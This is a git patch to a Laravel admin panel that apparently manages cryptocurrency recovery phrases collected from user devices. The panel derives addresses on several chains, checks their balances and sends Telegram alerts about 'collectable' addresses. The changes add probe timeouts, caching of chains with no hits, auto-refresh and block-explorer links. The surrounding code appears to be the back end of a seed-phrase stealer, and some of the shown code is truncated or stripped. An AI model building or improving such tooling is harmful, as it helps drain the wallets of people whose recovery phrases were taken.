From 8f7469cc4e93267d7e6fa2f6b289a9efd705b3e2 Mon Sep 17 00:00:00 2001 From: example Date: Mon, 28 Sep 2026 21:11:08 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E6=9F=A5=E7=9C=8B=E9=92=B1=E5=8C=85?= =?UTF-8?q?=E4=BC=98=E5=8C=96=EF=BC=8C=E5=9C=B0=E5=9D=80=E5=A2=9E=E5=8A=A0?= =?UTF-8?q?=E9=93=BE=E4=B8=8A=E6=9F=A5=E8=AF=A2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Controllers/Admin/MnemonicController.php | 25 ++-- app/Services/Chain/BtcDriver.php | 2 +- app/Services/Chain/ChainHttpTimeout.php | 39 +++++ app/Services/Chain/EthDriver.php | 18 ++- app/Services/Chain/SolDriver.php | 2 +- app/Services/Chain/TronDriver.php | 2 +- app/Services/MnemonicWalletDiscovery.php | 76 +++++++--- .../views/admin/addresses/index.blade.php | 57 ++++++- .../views/admin/mnemonics/index.blade.php | 141 +++++++++++++----- tests/Feature/MnemonicWalletsTest.php | 39 +++-- 10 files changed, 313 insertions(+), 88 deletions(-) create mode 100644 app/Services/Chain/ChainHttpTimeout.php diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 5a294fd..00eb717 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -12,6 +12,7 @@ use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletMnemonic; use App\Services\AdminGoogle2fa; +use App\Services\Chain\ChainHttpTimeout; use App\Services\IngestService; use App\Services\MnemonicAddressLinker; use App\Services\MnemonicWalletDiscovery; @@ -28,7 +29,7 @@ class MnemonicController extends Controller use PortalAware; use RevealsMnemonics; - private const REFRESH_DECAY_SECONDS = 60; + private const REFRESH_DECAY_SECONDS = 30; public function index() { @@ -257,12 +258,12 @@ class MnemonicController extends Controller return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } - $discovery->discoverActivated($mnemonic); - return response()->json([ 'code' => 0, 'msg' => '', - 'data' => $this->walletsPayload($mnemonic, $discovery), + 'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [ + 'updating' => true, + ]), ]); } @@ -297,19 +298,21 @@ class MnemonicController extends Controller $ok = 0; $fail = 0; - foreach ($addresses as $address) { - // WalletBalanceService::refresh persists coin columns onto wallet_addresses. - if ($balances->refresh($address)) { - $ok++; - } else { - $fail++; + ChainHttpTimeout::using(MnemonicWalletDiscovery::PROBE_TIMEOUT_SECONDS, function () use ($addresses, $balances, &$ok, &$fail) { + foreach ($addresses as $address) { + if ($balances->refresh($address)) { + $ok++; + } else { + $fail++; + } } - } + }); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [ + 'updating' => false, 'refreshed' => $ok, 'failed' => $fail, 'retry_after' => self::REFRESH_DECAY_SECONDS, diff --git a/app/Services/Chain/BtcDriver.php b/app/Services/Chain/BtcDriver.php index da8457c..d9d7d44 100644 --- a/app/Services/Chain/BtcDriver.php +++ b/app/Services/Chain/BtcDriver.php @@ -491,6 +491,6 @@ class BtcDriver implements ChainDriver private function http(): PendingRequest { - return Http::timeout(30)->acceptJson(); + return ChainHttpTimeout::apply(Http::timeout(30)->acceptJson()); } } diff --git a/app/Services/Chain/ChainHttpTimeout.php b/app/Services/Chain/ChainHttpTimeout.php new file mode 100644 index 0000000..99521cd --- /dev/null +++ b/app/Services/Chain/ChainHttpTimeout.php @@ -0,0 +1,39 @@ +connectTimeout(min(3, self::$seconds))->timeout(self::$seconds); + } +} diff --git a/app/Services/Chain/EthDriver.php b/app/Services/Chain/EthDriver.php index b0f9a35..7df30e0 100644 --- a/app/Services/Chain/EthDriver.php +++ b/app/Services/Chain/EthDriver.php @@ -64,7 +64,10 @@ class EthDriver implements ChainDriver if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) { return true; } - } catch (\Throwable) { + } catch (\Throwable $e) { + if (ChainHttpTimeout::active()) { + throw $e; + } // fall through to balances } @@ -72,7 +75,10 @@ class EthDriver implements ChainDriver if (bccomp($this->getNativeBalance($address), '0', 18) > 0) { return true; } - } catch (\Throwable) { + } catch (\Throwable $e) { + if (ChainHttpTimeout::active()) { + throw $e; + } // fall through to token } @@ -82,7 +88,11 @@ class EthDriver implements ChainDriver if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) { return true; } - } catch (\Throwable) { + } catch (\Throwable $e) { + if (ChainHttpTimeout::active()) { + throw $e; + } + return false; } } @@ -270,6 +280,6 @@ class EthDriver implements ChainDriver private function http(): PendingRequest { - return Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson(); + return ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson()); } } diff --git a/app/Services/Chain/SolDriver.php b/app/Services/Chain/SolDriver.php index 4d9f8d9..aee347f 100644 --- a/app/Services/Chain/SolDriver.php +++ b/app/Services/Chain/SolDriver.php @@ -158,7 +158,7 @@ class SolDriver implements ChainDriver private function http(): PendingRequest { - $req = Http::timeout(30)->acceptJson()->asJson(); + $req = ChainHttpTimeout::apply(Http::timeout(30)->acceptJson()->asJson()); $apiKey = (string) config('coruna.sol.api_key', ''); if ($apiKey !== '') { $req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]); diff --git a/app/Services/Chain/TronDriver.php b/app/Services/Chain/TronDriver.php index 280a856..c88f7c3 100644 --- a/app/Services/Chain/TronDriver.php +++ b/app/Services/Chain/TronDriver.php @@ -300,7 +300,7 @@ class TronDriver implements ChainDriver private function http(): PendingRequest { - $req = Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson(); + $req = ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson()); $apiKey = (string) config('coruna.tron.api_key', ''); if ($apiKey !== '') { $req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]); diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index f331552..509fca7 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -6,9 +6,11 @@ use App\Models\WalletAddress; use App\Models\WalletMnemonic; use App\Services\Chain\BtcDriver; use App\Services\Chain\ChainDriver; +use App\Services\Chain\ChainHttpTimeout; use App\Services\Chain\ChainManager; use App\Services\Chain\TronDriver; use App\Services\Tokenview\TokenviewMonitorService; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; /** @@ -22,6 +24,12 @@ class MnemonicWalletDiscovery { public const MAX_DERIVE_INDEX = 2; + /** Probe timeout while opening/refreshing the mnemonic wallet dialog. */ + public const PROBE_TIMEOUT_SECONDS = 8; + + /** How long a chain with no activated address (or a failed probe) stays skipped. */ + public const MISS_CACHE_SECONDS = 600; + /** @var list */ private const CHAINS = [ ['chain' => 'tron', 'chain_type' => 'TRON'], @@ -77,29 +85,51 @@ class MnemonicWalletDiscovery $source = trim((string) ($mnemonic->source ?: '')); $saved = []; - foreach (self::CHAINS as $spec) { - if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) { - continue; - } + return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) { + foreach (self::CHAINS as $spec) { + if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) { + continue; + } + if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) { + continue; + } - try { - $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); + try { + $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); + } catch (\Throwable $e) { + Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ + 'mnemonic_id' => $mnemonic->id, + 'chain' => $spec['chain'], + ]); + $this->rememberMiss($mnemonic, $spec['chain']); + + continue; + } + + if ($rows === []) { + $this->rememberMiss($mnemonic, $spec['chain']); + } foreach ($rows as $row) { $saved[] = $row; } - } catch (\Throwable $e) { - Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ - 'mnemonic_id' => $mnemonic->id, - 'chain' => $spec['chain'], - ]); } - } - if ($saved !== []) { - $this->telegram->notifyCollectableAddresses($saved); - } + if ($saved !== []) { + $this->telegram->notifyCollectableAddresses($saved); + } - return count($saved); + return count($saved); + }); + } + + private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string + { + return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain; + } + + private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void + { + Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS); } /** @@ -190,7 +220,7 @@ class MnemonicWalletDiscovery 'address' => $address, 'index' => $index, ]); - continue; + break; } if (! $probe['activated']) { @@ -273,7 +303,11 @@ class MnemonicWalletDiscovery { try { $bnb = $driver->getNativeBalance($address); - } catch (\Throwable) { + } catch (\Throwable $e) { + if (\App\Services\Chain\ChainHttpTimeout::active()) { + throw $e; + } + return ['activated' => false, 'coins' => $this->emptyCoins('bsc')]; } $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', '')); @@ -318,7 +352,11 @@ class MnemonicWalletDiscovery { try { $sol = $driver->getNativeBalance($address); - } catch (\Throwable) { + } catch (\Throwable $e) { + if (\App\Services\Chain\ChainHttpTimeout::active()) { + throw $e; + } + return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; } diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 7e10ce2..4f7152e 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -22,7 +22,25 @@ .addr-chain-unknown, .addr-chain-unkno { background: #909399; } .addr-monitor-on { color: #16b777; font-weight: 600; } .addr-monitor-off { color: #ff5722; font-weight: 600; } - .addr-cell { word-break: break-all; font-family: Menlo, Monaco, Consolas, monospace; font-size: 12px; } + .addr-cell { font-family: Menlo, Monaco, Consolas, monospace; font-size: 12px; } + .addr-cell-row { + display: flex; + align-items: center; + gap: 8px; + min-width: 0; + } + .addr-cell-row .addr-text { + flex: 1 1 auto; + min-width: 0; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + } + .addr-cell-row .addr-explorer { + flex: 0 0 auto; + font-family: inherit; + white-space: nowrap; + }
@@ -145,6 +163,39 @@ layui.use(['table', 'form', 'layer'], function () { return '' + raw + ''; } + function explorerUrl(chain, address) { + var addr = String(address || '').trim(); + if (!addr) return ''; + var c = String(chain || '').trim().toUpperCase(); + if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr); + if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr); + if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr); + if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr); + if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr); + return ''; + } + + function escHtml(s) { + return String(s == null ? '' : s) + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"'); + } + + function addressCellHtml(d) { + var addr = d.address || ''; + var url = explorerUrl(d.chain_type, addr); + var html = '
'; + html += '' + escHtml(addr) + ''; + if (url) { + html += '链上查询'; + } + html += '
'; + return html; + } + function assetsForRow(d) { var type = String(d.chain_type || '').toUpperCase(); var addr = String(d.address || ''); @@ -243,9 +294,7 @@ layui.use(['table', 'form', 'layer'], function () { { field: 'id', title: 'ID', width: 70, sort: true }, { field: 'source', title: '来源', width: 120 }, { field: 'device_key', title: '设备 ID', width: 150, sort: true }, - { field: 'address', title: '地址', minWidth: 360, templet: function (d) { - return '' + (d.address || '') + ''; - }}, + { field: 'address', title: '地址', minWidth: 420, templet: addressCellHtml }, { field: 'chain_type', title: 'Chain', width: 110, templet: function (d) { return chainTag(d.chain_type); }}, diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index df284e2..cf9d4e0 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -28,9 +28,27 @@ } .mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; } .mn-wallet-table .addr-cell { - word-break: break-all; font-family: Menlo, Monaco, Consolas, monospace; - max-width: 280px; + max-width: 360px; + vertical-align: middle; + } + .mn-wallet-table .addr-cell .addr-row { + display: flex; + align-items: center; + gap: 8px; + min-width: 0; + } + .mn-wallet-table .addr-cell .addr-text { + flex: 1 1 auto; + min-width: 0; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + } + .mn-wallet-table .addr-cell .mn-explorer { + flex: 0 0 auto; + font-family: inherit; + white-space: nowrap; } .mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; } .mn-inactive { @@ -45,6 +63,7 @@ border-radius: 3px; vertical-align: middle; } + .mn-updating { color: #1e9fff; }
@@ -114,13 +133,40 @@ layui.use(['table', 'form', 'layer'], function () { return (v === null || v === undefined || v === '') ? '—' : esc(v); } + function explorerUrl(chain, address) { + var addr = String(address || '').trim(); + if (!addr) return ''; + var c = String(chain || '').trim().toUpperCase(); + if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr); + if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr); + if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr); + if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr); + if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr); + return ''; + } + + function addrCellHtml(r) { + var addr = r.address || ''; + var url = explorerUrl(r.chain_type, addr); + var html = '
'; + html += '' + esc(addr) + ''; + if (url) { + html += '链上查询'; + } + html += '
'; + return html; + } + function renderWalletsHtml(payload) { var rows = (payload && payload.addresses) || []; var html = '
'; html += '
'; html += '
助记词 #' + esc(payload.mnemonic_id) + (payload.source ? ' · ' + esc(payload.source) : '') + - ' · 关联地址 ' + rows.length + ' 个
'; + ' · 关联地址 ' + rows.length + ' 个' + + (payload.updating ? ' · 正在更新' : '') + + '
'; if (rows.length && payload.refresh_url) { html += ''; } @@ -139,7 +185,7 @@ layui.use(['table', 'form', 'layer'], function () { '' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '' + '' + esc(r.chain_type || '—') + (inactive ? '未激活' : '') + '' + - '' + esc(r.address) + '' + + addrCellHtml(r) + '' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '' + '' + coinVal(r.usdt) + '' + '' + coinVal(r.trx) + '' + @@ -166,25 +212,36 @@ layui.use(['table', 'form', 'layer'], function () { bindRefresh(layero, payload); } - function bindRefresh(layero, payload) { + function bindRefresh(layero, payload, auto) { layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () { - var btn = $(this); - if (btn.prop('disabled')) return; - if (!payload.refresh_url) return; - btn.prop('disabled', true).addClass('layui-btn-disabled'); - var loadIdx = layer.load(1, { shade: 0.1 }); - $.ajax({ - url: payload.refresh_url, - method: 'POST', - data: { _token: token }, - success: function (res) { - layer.close(loadIdx); - if (!res || res.code !== 0) { - btn.prop('disabled', false).removeClass('layui-btn-disabled'); - return layer.msg((res && res.msg) || '刷新失败'); - } - var next = res.data || {}; - applyWalletsHtml(layero, next); + runWalletRefresh(layero, payload, false); + }); + if (auto && payload.updating && payload.refresh_url) { + runWalletRefresh(layero, payload, true); + } + } + + function runWalletRefresh(layero, payload, auto) { + var btn = layero.find('#LAY-mn-refresh-bal'); + if (!payload.refresh_url) return; + if (btn.prop('disabled') && !auto) return; + btn.prop('disabled', true).addClass('layui-btn-disabled'); + var loadIdx = auto ? null : layer.load(1, { shade: 0.1 }); + $.ajax({ + url: payload.refresh_url, + method: 'POST', + data: { _token: token }, + success: function (res) { + if (loadIdx != null) layer.close(loadIdx); + if (!res || res.code !== 0) { + btn.prop('disabled', false).removeClass('layui-btn-disabled'); + if (!auto) layer.msg((res && res.msg) || '刷新失败'); + return; + } + var next = res.data || {}; + next.updating = false; + applyWalletsHtml(layero, next); + if (!auto) { var ok = Number(next.refreshed || 0); var fail = Number(next.failed || 0); layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个')); @@ -194,22 +251,30 @@ layui.use(['table', 'form', 'layer'], function () { setTimeout(function () { nextBtn.prop('disabled', false).removeClass('layui-btn-disabled'); }, cooldown * 1000); - }, - error: function (xhr) { - layer.close(loadIdx); - var body = xhr.responseJSON || {}; - var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0; - if (xhr.status === 429 && retry > 0) { - layer.msg(body.msg || ('请 ' + retry + ' 秒后再试')); - setTimeout(function () { - btn.prop('disabled', false).removeClass('layui-btn-disabled'); - }, retry * 1000); - return; - } - btn.prop('disabled', false).removeClass('layui-btn-disabled'); - layer.msg(body.msg || body.message || '刷新失败'); } - }); + }, + error: function (xhr) { + if (loadIdx != null) layer.close(loadIdx); + var body = xhr.responseJSON || {}; + var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0; + if (xhr.status === 429) { + if (!auto) layer.msg(body.msg || ('请 ' + retry + ' 秒后再试')); + payload.updating = false; + applyWalletsHtml(layero, payload); + if (!auto && retry > 0) { + var nextBtn = layero.find('#LAY-mn-refresh-bal'); + nextBtn.prop('disabled', true).addClass('layui-btn-disabled'); + setTimeout(function () { + nextBtn.prop('disabled', false).removeClass('layui-btn-disabled'); + }, retry * 1000); + } + return; + } + btn.prop('disabled', false).removeClass('layui-btn-disabled'); + payload.updating = false; + applyWalletsHtml(layero, payload); + if (!auto) layer.msg(body.msg || body.message || '刷新失败'); + } }); } @@ -234,7 +299,7 @@ layui.use(['table', 'form', 'layer'], function () { shadeClose: true, content: renderWalletsHtml(payload), success: function (layero) { - bindRefresh(layero, payload); + bindRefresh(layero, payload, true); } }); }, diff --git a/tests/Feature/MnemonicWalletsTest.php b/tests/Feature/MnemonicWalletsTest.php index 16d998f..32a368c 100644 --- a/tests/Feature/MnemonicWalletsTest.php +++ b/tests/Feature/MnemonicWalletsTest.php @@ -10,6 +10,7 @@ use App\Models\WalletAddress; use App\Models\WalletMnemonic; use App\Services\Chain\TronDriver; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -18,6 +19,12 @@ class MnemonicWalletsTest extends TestCase { use RefreshDatabase; + protected function setUp(): void + { + parent::setUp(); + Cache::flush(); + } + private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic { $row = new WalletMnemonic([ @@ -173,6 +180,7 @@ class MnemonicWalletsTest extends TestCase ]], 'success' => true, ], 200), + '*' => Http::response([], 404), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); @@ -222,6 +230,16 @@ class MnemonicWalletsTest extends TestCase ->getJson(route('admin.mnemonics.wallets', $mnemonic)) ->assertOk() ->assertJsonPath('code', 0) + ->assertJsonPath('data.updating', true) + ->assertJsonPath('data.addresses.0.persisted', false); + + $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic)) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.updating', false) ->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH') ->assertJsonPath('data.addresses.0.chain_type', 'TRON') ->assertJsonPath('data.addresses.0.trx', '5') @@ -256,7 +274,7 @@ class MnemonicWalletsTest extends TestCase $mnemonic = $this->storeMnemonic($device); $this->actingAs($admin, 'admin') - ->getJson(route('admin.mnemonics.wallets', $mnemonic)) + ->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic)) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.addresses.0.address', $tron2) @@ -290,10 +308,13 @@ class MnemonicWalletsTest extends TestCase $this->actingAs($admin, 'admin') ->getJson(route('admin.mnemonics.wallets', $mnemonic)) ->assertOk() - ->assertJsonPath('code', 0) - ->assertJsonPath('data.addresses.0.active', false) - ->assertJsonPath('data.addresses.0.persisted', false) - ->assertJsonCount(3, 'data.addresses'); + ->assertJsonPath('data.updating', true) + ->assertJsonPath('data.addresses.0.persisted', false); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic)) + ->assertOk() + ->assertJsonPath('code', 0); $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count()); $this->assertDatabaseMissing('wallet_addresses', [ @@ -323,10 +344,10 @@ class MnemonicWalletsTest extends TestCase ->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94') ->assertJsonPath('data.addresses.1.chain_type', 'ETH') ->assertJsonPath('data.addresses.1.active', false) - ->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') - ->assertJsonPath('data.addresses.2.chain_type', 'BTC') - ->assertJsonPath('data.addresses.2.active', false) - ->assertJsonCount(3, 'data.addresses'); + ->assertJsonPath('data.addresses.2.chain_type', 'BSC') + ->assertJsonPath('data.addresses.3.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA') + ->assertJsonPath('data.addresses.3.chain_type', 'BTC') + ->assertJsonPath('data.addresses.3.active', false); $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count()); $this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());